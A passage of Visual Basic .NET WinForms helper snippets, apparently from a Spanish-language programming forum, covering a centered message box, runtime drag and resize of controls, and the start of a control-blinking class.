''' Finds the <see cref="CenteredMessageBox"/> dialog window.
''' </summary>
Private Sub FindDialog()
' Enumerate windows to find the message box
If Me.tries < 0 Then
Return
End If
Dim callback As New NativeMethods.EnumThreadWndProc(AddressOf Me.CheckWindow)
If NativeMethods.EnumThreadWindows(NativeMethods.GetCurrentThreadId(), callback, IntPtr.Zero) Then
If Threading.Interlocked.Increment(Me.tries) < 10 Then
Me.ownerForm1.BeginInvoke(New MethodInvoker(AddressOf Me.FindDialog))
End If
End If
If Me.timeOut1 > 0 Then
Me.timeoutTimer = New Timer With
{
.Interval = Me.timeOut1,
.Enabled = True
}
Me.timeoutTimer.Start()
End If
End Sub
''' <summary>
''' Checks whether the specified window is our <see cref="CenteredMessageBox"/> dialog.
''' </summary>
''' <param name="hWnd">A handle to the window to check.</param>
''' <param name="lParam">The application-defined value given in the <see cref="NativeMethods.EnumThreadWindows"/> function.</param>
''' <returns>
''' <c>true</c> the specified window is our <see cref="CenteredMessageBox"/> dialog, <c>false</c> otherwise.
''' </returns>
Private Function CheckWindow(ByVal hWnd As IntPtr,
ByVal lParam As IntPtr) As Boolean
' Checks if <hWnd> is a dialog
Dim sb As New StringBuilder(260)
NativeMethods.GetClassName(hWnd, sb, sb.Capacity)
If sb.ToString() <> "#32770" Then
Return True
End If
' Get the control that displays the text.
Dim hText As IntPtr = NativeMethods.GetDlgItem(hWnd, &HFFFFI)
Me.messageBoxWindowHandle1 = hWnd
' Get the dialog Rect.
Dim frmRect As New Rectangle(Me.ownerForm1.Location, Me.ownerForm1.Size)
Dim dlgRect As NativeMethods.Rect
NativeMethods.GetWindowRect(hWnd, dlgRect)
' Set the custom Font (if any).
If hText <> IntPtr.Zero Then
Me.SetFont(font:=Me.font1,
hwnd:=hText,
rect:=frmRect)
End If
' Center the dialog window in the specified Form.
Me.CenterDialog(hwnd:=hWnd,
dialogRect:=dlgRect,
formRect:=frmRect)
' Stop the EnumThreadWndProc callback by sending False.
Return False
End Function
''' <summary>
''' Sets the font of this <see cref="CenteredMessageBox"/> window.
''' </summary>
''' <param name="font">The <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.</param>
''' <param name="hwnd">A handle to the <see cref="CenteredMessageBox"/> window.</param>
''' <param name="rect">A <see cref="Rectangle"/> to positionate the text.</param>
Private Sub SetFont(ByVal font As Font,
ByVal hwnd As IntPtr,
ByVal rect As Rectangle)
Select Case font IsNot Nothing
Case True
' Set the text position.
NativeMethods.SetWindowPos(hWnd:=hwnd,
hWndInsertAfter:=IntPtr.Zero,
x:=65,
y:=35,
cx:=rect.Width,
cy:=font.Height,
uFlags:=NativeMethods.SetWindowPosFlags.None)
' Set the new font.
NativeMethods.SendMessage(hWnd:=hwnd,
msg:=NativeMethods.WindowsMessages.WM_SETFONT,
wParam:=font.ToHfont,
lParam:=New IntPtr(1))
Case Else
' Do Nothing.
' Get the dialog font.
' dim fnt as Font = Font.FromHfont(NativeMethods.SendMessage(hWnd:=hwnd,
' msg:=NativeMethods.WindowsMessages.WM_GETFONT,
' wParam:=IntPtr.Zero,
' lParam:=IntPtr.Zero))
End Select
End Sub
''' <summary>
''' Centers the <see cref="CenteredMessageBox"/> dialog in the specified <see cref="Form"/>.
''' </summary>
''' <param name="hwnd">A handle to the <see cref="CenteredMessageBox"/> window.</param>
''' <param name="dialogRect">The dialog <see cref="NativeMethods.Rect"/> structure.</param>
''' <param name="formRect">The form <see cref="Rectangle"/> structure.</param>
Private Sub CenterDialog(ByVal hwnd As IntPtr,
ByVal dialogRect As NativeMethods.Rect,
ByVal formRect As Rectangle)
' Resize and positionate the messagebox window.
NativeMethods.MoveWindow(hwnd,
x:=formRect.Left + (formRect.Width - dialogRect.Right + dialogRect.Left) \ 2I,
y:=formRect.Top + (formRect.Height - dialogRect.Bottom + dialogRect.Top) \ 2I,
width:=(dialogRect.Right - dialogRect.Left),
height:=(dialogRect.Bottom - dialogRect.Top),
repaint:=True)
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the Tick event of the TimeoutTimer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub TimeoutTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
Handles timeoutTimer.Tick
NativeMethods.DestroyWindow(Me.messageBoxWindowHandle1)
Me.Dispose()
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private isDisposed As Boolean = False
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal isDisposing As Boolean)
If Not Me.isDisposed Then
If isDisposing Then
Me.tries = -1
Me.ownerForm1 = Nothing
If Me.font1 IsNot Nothing Then
Me.font1.Dispose()
End If
End If
End If
Me.isDisposed = True
End Sub
#End Region
End Class
#End Region
Ejemplo de cómo añadir en tiempo de ejecución la característica Drag (arrastrar) en un control, para arrastrarlo por la UI.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 11-10-2014
' ***********************************************************************
' <copyright file="ControlDragger.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class Form1
'
' Private Dragger As ControlDragger = ControlDragger.Empty
'
' Private Sub InitializeDrag()
' Me.Dragger = New ControlDragger(Button1)
' Me.Dragger.Cursor = Cursors.SizeAll
' Me.Dragger.Enabled = True
' End Sub
'
' Private Sub AlternateDrag()
' Dragger.Enabled = Not Dragger.Enabled
' End Sub
'
' Private Sub FinishDrag()
' Dragger.Dispose()
' End Sub
'
' Private Sub Test() Handles MyBase.Shown
' Me.InitializeDrag()
' End Sub
'
'End Class
#End Region
#Region " Imports "
Imports System.ComponentModel
#End Region
#Region " Control Dragger "
''' <summary>
''' Enable or disable drag at runtime on a <see cref="Control"/>.
''' </summary>
Friend NotInheritable Class ControlDragger : Implements IDisposable
#Region " Properties "
''' <summary>
''' Gets the associated <see cref="Control"/> used to perform draggable operations.
''' </summary>
''' <value>The control.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("The associated Control used to perform draggable operations.")>
Friend ReadOnly Property Control As Control
Get
Return Me._ctrl
End Get
End Property
''' <summary>
''' The associated <see cref="Control"/> used to perform draggable operations.
''' </summary>
Private WithEvents _ctrl As Control = Nothing
''' <summary>
''' Represents a <see cref="T:ControlDragger"/> instance that is <c>Nothing</c>.
''' </summary>
''' <value><c>Nothing</c></value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("Represents a ControlDragger instance that is Nothing.")>
Public Shared ReadOnly Property Empty As ControlDragger
Get
Return Nothing
End Get
End Property
''' <summary>
''' Gets or sets a value indicating whether drag is enabled on the associated <see cref="Control"/>.
''' </summary>
''' <value><c>true</c> if drag is enabled; otherwise, <c>false</c>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("A value indicating whether drag is enabled on the associated control.")>
Friend Property Enabled As Boolean = True
''' <summary>
''' Gets or sets the <see cref="Cursor"/> used to drag the associated <see cref="Control"/>.
''' </summary>
''' <value>The <see cref="Cursor"/>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("The Cursor used to drag the associated Control")>
Friend Property Cursor As Cursor = Cursors.SizeAll
''' <summary>
''' A <see cref="T:ControlDragger"/> instance instance containing the draggable information of the associated <see cref="Control"/>.
''' </summary>
''' <value>The draggable information.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
<Description("A ControlDragger instance instance containing the draggable information of the associated Control.")>
Private Property DragInfo As ControlDragger = ControlDragger.Empty
''' <summary>
''' Gets or sets the initial mouse coordinates, normally <see cref="Control.MousePosition"/>.
''' </summary>
''' <value>The initial mouse coordinates.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
<Description("The initial mouse coordinates, normally 'Control.MousePosition'")>
Private Property InitialMouseCoords As Point = Point.Empty
''' <summary>
''' Gets or sets the initial <see cref="Control"/> location, normally <see cref="Control.Location"/>.
''' </summary>
''' <value>The initial location.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
<Description("The initial Control location, normally 'Control.Location'")>
Private Property InitialLocation As Point = Point.Empty
''' <summary>
''' Gets or sets the old control's cursor to restore it after dragging.
''' </summary>
''' <value>The old control's cursor.</value>
<EditorBrowsable(EditorBrowsableState.Never)>
<Description("The old control's cursor to restore it after dragging.")>
Private Property oldCursor As Cursor = Nothing
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="ControlDragger"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="ControlDragger"/> class.
''' </summary>
''' <param name="ctrl">The <see cref="Control"/> used to perform draggable operations.</param>
Public Sub New(ByVal ctrl As Control)
Me._ctrl = ctrl
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="ControlDragger"/> class.
''' </summary>
''' <param name="mouseCoordinates">The current mouse coordinates.</param>
''' <param name="location">The current location.</param>
Private Sub New(ByVal mouseCoordinates As Point, ByVal location As Point)
Me.InitialMouseCoords = mouseCoordinates
Me.InitialLocation = location
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Return the new location.
''' </summary>
''' <param name="mouseCoordinates">The current mouse coordinates.</param>
''' <returns>The new location.</returns>
Private Function GetNewLocation(ByVal mouseCoordinates As Point) As Point
Return New Point(InitialLocation.X + (mouseCoordinates.X - InitialMouseCoords.X),
InitialLocation.Y + (mouseCoordinates.Y - InitialMouseCoords.Y))
End Function
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]()
Return Me.GetType
End Function
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the MouseEnter event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseEnter(ByVal sender As Object, ByVal e As EventArgs) _
Handles _ctrl.MouseEnter
Me.oldCursor = Me._ctrl.Cursor
If Me.Enabled Then
Me._ctrl.Cursor = Me.Cursor
Me._ctrl.BringToFront()
End If
End Sub
''' <summary>
''' Handles the MouseLeave event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseLeave(ByVal sender As Object, ByVal e As EventArgs) _
Handles _ctrl.MouseLeave
Me._ctrl.Cursor = Me.oldCursor
End Sub
''' <summary>
''' Handles the MouseDown event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles _ctrl.MouseDown
If Me.Enabled Then
Me.DragInfo = New ControlDragger(Control.MousePosition, Me._ctrl.Location)
End If
End Sub
''' <summary>
''' Handles the MouseMove event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles _ctrl.MouseMove
If Me.Enabled AndAlso (Me.DragInfo IsNot ControlDragger.Empty) Then
Me._ctrl.Location = New Point(Me.DragInfo.GetNewLocation(Control.MousePosition))
End If
End Sub
''' <summary>
''' Handles the MouseUp event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles _ctrl.MouseUp
Me.DragInfo = ControlDragger.Empty
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
With Me._ctrl
If Not .IsDisposed AndAlso Not .Disposing Then
RemoveHandler .MouseEnter, AddressOf ctrl_MouseEnter
RemoveHandler .MouseLeave, AddressOf ctrl_MouseLeave
RemoveHandler .MouseDown, AddressOf ctrl_MouseDown
RemoveHandler .MouseMove, AddressOf ctrl_MouseMove
RemoveHandler .MouseUp, AddressOf ctrl_MouseUp
End If
End With ' Me._ctrl
With Me
.Enabled = False
.DragInfo = ControlDragger.Empty
.InitialMouseCoords = Point.Empty
.InitialLocation = Point.Empty
.oldCursor = Nothing
._ctrl = Nothing
End With ' Me
End If ' IsDisposing
End If ' Not Me.IsDisposed
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Ejemplo de cómo añadir en tiempo de ejecución la característica Resize (redimensionar) en un control, para redimensionarlo por la UI.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 11-10-2014
' ***********************************************************************
' <copyright file="ControlResizer.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class Form1
'
' Private Resizer As ControlResizer = ControlResizer.Empty
'
' Private Sub InitializeResizer()
' Me.Resizer = New ControlResizer(Button1)
' Me.Resizer.Enabled = True
' Me.Resizer.PixelMargin = 4
' End Sub
'
' Private Sub AlternateResizer()
' Me.Resizer.Enabled = Not Resizer.Enabled
' End Sub
'
' Private Sub FinishResizer()
' Me.Resizer.Dispose()
' End Sub
'
' Private Sub Test() Handles MyBase.Shown
' Me.InitializeResizer()
' End Sub
'
'End Class
#End Region
#Region " Imports "
Imports System.ComponentModel
#End Region
#Region " Control Resizer "
''' <summary>
''' Enable or disable resize at runtime on a <see cref="Control"/>.
''' </summary>
Public Class ControlResizer : Implements IDisposable
#Region " Properties "
#Region " Visible "
''' <summary>
''' Gets the associated <see cref="Control"/> used to perform resizable operations.
''' </summary>
''' <value>The control.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("The associated Control used to perform resizable operations.")>
Friend ReadOnly Property Control As Control
Get
Return Me._ctrl
End Get
End Property
''' <summary>
''' The associated <see cref="Control"/> used to perform draggable operations.
''' </summary>
Private WithEvents _ctrl As Control = Nothing
''' <summary>
''' Gets or sets the pixel margin required to activate resize indicators.
''' </summary>
''' <value>The pixel margin required activate resize indicators.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("The associated Control used to perform resizable operations.")>
Friend Property PixelMargin As Integer = 4I
''' <summary>
''' Gets or sets a value indicating whether resize is enabled on the associated <see cref="Control"/>.
''' </summary>
''' <value><c>true</c> if resize is enabled; otherwise, <c>false</c>.</value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("A value indicating whether resize is enabled on the associated control.")>
Friend Property Enabled As Boolean = True
''' <summary>
''' Represents a <see cref="T:ControlResizer"/> instance that is <c>Nothing</c>.
''' </summary>
''' <value><c>Nothing</c></value>
<EditorBrowsable(EditorBrowsableState.Always)>
<Description("Represents a ControlResizer instance that is Nothing.")>
Public Shared ReadOnly Property Empty As ControlResizer
Get
Return Nothing
End Get
End Property
#End Region
#Region " Hidden "
''' <summary>
''' Gets or sets a value indicating whether the left mouse button is down.
''' </summary>
''' <value><c>true</c> if left mouse button is down; otherwise, <c>false</c>.</value>
Private Property IsLeftMouseButtonDown As Boolean = False
''' <summary>
''' Gets or sets the current active edge.
''' </summary>
''' <value>The current active edge.</value>
Private Property ActiveEdge As Edges = Edges.None
''' <summary>
''' Gets or sets the old control's cursor to restore it after resizing.
''' </summary>
''' <value>The old control's cursor.</value>
Private Property oldCursor As Cursor = Nothing
#End Region
#End Region
#Region " Enumerations "
''' <summary>
''' Contains the Edges.
''' </summary>
Private Enum Edges As Integer
''' <summary>
''' Any edge.
''' </summary>
None = 0I
''' <summary>
''' Left edge.
''' </summary>
Left = 1I
''' <summary>
''' Right edge.
''' </summary>
Right = 2I
''' <summary>
''' Top edge.
''' </summary>
Top = 3I
''' <summary>
''' Bottom edge.
''' </summary>
Bottom = 4I
''' <summary>
''' Top-Left edge.
''' </summary>
TopLeft = 5I
''' <summary>
''' Top-Right edge.
''' </summary>
TopRight = 6I
''' <summary>
''' Bottom-Left edge.
''' </summary>
BottomLeft = 7I
''' <summary>
''' Bottom-Right edge.
''' </summary>
BottomRight = 8I
End Enum
#End Region
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="ControlResizer"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="ControlResizer"/> class.
''' </summary>
''' <param name="ctrl">The control.</param>
Public Sub New(ByVal ctrl As Control)
Me._ctrl = ctrl
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the MouseEnter event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseEnter(ByVal sender As Object, ByVal e As EventArgs) _
Handles _ctrl.MouseEnter
Me.oldCursor = Me._ctrl.Cursor
End Sub
''' <summary>
''' Handles the MouseLeave event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseLeave(ByVal sender As Object, ByVal e As EventArgs) _
Handles _ctrl.MouseLeave
Me.ActiveEdge = Edges.None
Me._ctrl.Cursor = Me.oldCursor
End Sub
''' <summary>
''' Handles the MouseDown event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles _ctrl.MouseDown
Me.IsLeftMouseButtonDown = (e.Button = MouseButtons.Left)
End Sub
''' <summary>
''' Handles the MouseUp event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles _ctrl.MouseUp
Me.IsLeftMouseButtonDown = False
End Sub
''' <summary>
''' Handles the MouseMove event of the control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub ctrl_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles _ctrl.MouseMove
If Not Me.Enabled Then
Exit Sub
ElseIf (Me.IsLeftMouseButtonDown) AndAlso Not (Me.ActiveEdge = Edges.None) Then
Me.SetControlBounds(e)
Else
Me.SetActiveEdge(e)
Me.SetSizeCursor()
End If
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Sets the active edge.
''' </summary>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub SetActiveEdge(ByVal e As MouseEventArgs)
Select Case True
' Top-Left Corner
Case e.X <= (Me.PixelMargin * 2) AndAlso
e.Y <= (Me.PixelMargin * 2)
Me.ActiveEdge = Edges.TopLeft
' TopRight Corner
Case e.X > Me._ctrl.Width - (Me.PixelMargin * 2) AndAlso
e.Y <= (Me.PixelMargin * 2)
Me.ActiveEdge = Edges.TopRight
' Bottom-Left Corner
Case (e.X <= Me.PixelMargin * 2) AndAlso
(e.Y > Me._ctrl.Height - (Me.PixelMargin * 2))
Me.ActiveEdge = Edges.BottomLeft
' Bottom-Right Corner
Case (e.X > Me._ctrl.Width - (Me.PixelMargin * 2) - 1) AndAlso
(e.Y > Me._ctrl.Height - (Me.PixelMargin * 2))
Me.ActiveEdge = Edges.BottomRight
' Left Edge
Case e.X <= Me.PixelMargin
Me.ActiveEdge = Edges.Left
' Right Edge
Case e.X > Me._ctrl.Width - (Me.PixelMargin + 1)
Me.ActiveEdge = Edges.Right
' Top Edge
Case e.Y <= Me.PixelMargin
Me.ActiveEdge = Edges.Top
' Bottom Edge
Case e.Y > Me._ctrl.Height - (Me.PixelMargin + 1)
Me.ActiveEdge = Edges.Bottom
Case Else ' Any Edge
Me.ActiveEdge = Edges.None
End Select
End Sub
''' <summary>
''' Sets the size cursor.
''' </summary>
Private Sub SetSizeCursor()
Select Case Me.ActiveEdge
Case Edges.Left
Me._ctrl.Cursor = Cursors.SizeWE
Case Edges.Right
Me._ctrl.Cursor = Cursors.SizeWE
Case Edges.Top
Me._ctrl.Cursor = Cursors.SizeNS
Case Edges.Bottom
Me._ctrl.Cursor = Cursors.SizeNS
Case Edges.TopLeft
Me._ctrl.Cursor = Cursors.SizeNWSE
Case Edges.TopRight
Me._ctrl.Cursor = Cursors.SizeNESW
Case Edges.BottomLeft
Me._ctrl.Cursor = Cursors.SizeNESW
Case Edges.BottomRight
Me._ctrl.Cursor = Cursors.SizeNWSE
Case Edges.None
If Me.oldCursor IsNot Nothing Then
Me._ctrl.Cursor = Me.oldCursor
End If
End Select
End Sub
''' <summary>
''' Sets the control bounds.
''' </summary>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub SetControlBounds(ByVal e As MouseEventArgs)
If Me._ctrl.Size.Width = Me._ctrl.MinimumSize.Width Then
' Exit Sub
Else
Debug.WriteLine(Me._ctrl.Size.ToString)
End If
Me._ctrl.SuspendLayout()
Select Case Me.ActiveEdge
Case Edges.Left
If Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width) Then
Me._ctrl.SetBounds(x:=Me._ctrl.Left + e.X,
y:=Me._ctrl.Top,
width:=Me._ctrl.Width - e.X,
height:=Me._ctrl.Height)
End If
Case Edges.Right
Me._ctrl.SetBounds(x:=Me._ctrl.Left,
y:=Me._ctrl.Top,
width:=Me._ctrl.Width - (Me._ctrl.Width - e.X),
height:=Me._ctrl.Height)
Case Edges.Top
If Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height) Then
Me._ctrl.SetBounds(x:=Me._ctrl.Left,
y:=Me._ctrl.Top + e.Y,
width:=Me._ctrl.Width,
height:=Me._ctrl.Height - e.Y)
End If
Case Edges.Bottom
Me._ctrl.SetBounds(x:=Me._ctrl.Left,
y:=Me._ctrl.Top,
width:=Me._ctrl.Width,
height:=Me._ctrl.Height - (Me._ctrl.Height - e.Y))
Case Edges.TopLeft
Me._ctrl.SetBounds(x:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
Me._ctrl.Left + e.X,
Me._ctrl.Left),
y:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
Me._ctrl.Top + e.Y,
Me._ctrl.Top),
width:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
Me._ctrl.Width - e.X,
Me._ctrl.Width),
height:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
Me._ctrl.Height - e.Y,
Me._ctrl.Height))
Case Edges.TopRight
Me._ctrl.SetBounds(x:=Me._ctrl.Left,
y:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
Me._ctrl.Top + e.Y,
Me._ctrl.Top),
width:=Me._ctrl.Width - (Me._ctrl.Width - e.X),
height:=If(Not Me._ctrl.Height - e.Y < (Me._ctrl.MinimumSize.Height),
Me._ctrl.Height - e.Y,
Me._ctrl.Height))
Case Edges.BottomLeft
Me._ctrl.SetBounds(x:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
Me._ctrl.Left + e.X,
Me._ctrl.Left),
y:=Me._ctrl.Top,
width:=If(Not Me._ctrl.Width - e.X < (Me._ctrl.MinimumSize.Width),
Me._ctrl.Width - e.X,
Me._ctrl.Width),
height:=Me._ctrl.Height - (Me._ctrl.Height - e.Y))
Case Edges.BottomRight
Me._ctrl.SetBounds(x:=Me._ctrl.Left,
y:=Me._ctrl.Top,
width:=Me._ctrl.Width - (Me._ctrl.Width - e.X),
height:=Me._ctrl.Height - (Me._ctrl.Height - e.Y))
End Select
Me._ctrl.ResumeLayout()
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Gets the System.Type of the current instance.
''' </summary>
''' <returns>The exact runtime type of the current instance.</returns>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function [GetType]()
Return Me.GetType
End Function
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
With Me._ctrl
If Not .IsDisposed AndAlso Not .Disposing Then
RemoveHandler .MouseEnter, AddressOf ctrl_MouseEnter
RemoveHandler .MouseLeave, AddressOf ctrl_MouseLeave
RemoveHandler .MouseDown, AddressOf ctrl_MouseDown
RemoveHandler .MouseMove, AddressOf ctrl_MouseMove
RemoveHandler .MouseUp, AddressOf ctrl_MouseUp
End If
End With ' Me._ctrl
With Me
.Enabled = False
.oldCursor = Nothing
._ctrl = Nothing
End With ' Me
End If ' IsDisposing
End If ' Not Me.IsDisposed
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Una actualización de este snippet para añadir el efecto de parpadeo a un control, o al texto de un control, es muy sencillo de usar.
' ***********************************************************************
' Author : Elektro
' Modified : 16-November-2014
' ***********************************************************************
' <copyright file="Blinker.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Option Restrictions "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Usage Examples "
'Public Class Form1
'
' Private labelBlinker As Blinker
'
' Private Shadows Sub Shown() Handles MyBase.Shown
'
' Me.labelBlinker = New Blinker(ctrl:=Label1)
'
' ' Blink
' With Me.labelBlinker
' .Blink(interval:=500)
' .BlinkText(interval:=500, customText:="Custom Text!")
' End With
'
' ' Unblink
' With Me.labelBlinker
' .Unblink(visible:=True)
' .UnblinkText(restoreText:=True)
' End With
'
' End Sub
'
'End Class
#End Region
''' <summary>
''' Blinks a Control.
''' </summary>
Friend NotInheritable Class Blinker
#Region " Properties "
''' <summary>
''' Gets or sets the control to blink.
''' </summary>
''' <value>The control to blink.</value>
Friend Property Ctrl As Control
#End Region
#Region " Objects "
''' <summary>
''' A custom text to restore it after blinking the control.
''' </summary>
Private textToRestore As String
''' <summary>
''' A Timer to blink a control.
''' </summary>
Private WithEvents blinkTimer As Timer
''' <summary>
''' A Timer to blink the text of a control.
''' </summary>
Private WithEvents blinkTextTimer As Timer
''' <summary>
''' Determines whether the control is blinking.
''' </summary>
Private isBlinking As Boolean = False
''' <summary>
''' Determines whether the text of the control is blinking.
''' </summary>
Private isBlinkingText As Boolean = False
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="Blinker" /> class.
''' </summary>
''' <param name="ctrl">Indicates the control to blink.</param>
Public Sub New(ByVal ctrl As Control)
' Assign the control to blink.
Me.Ctrl = ctrl
End Sub
''' <summary>
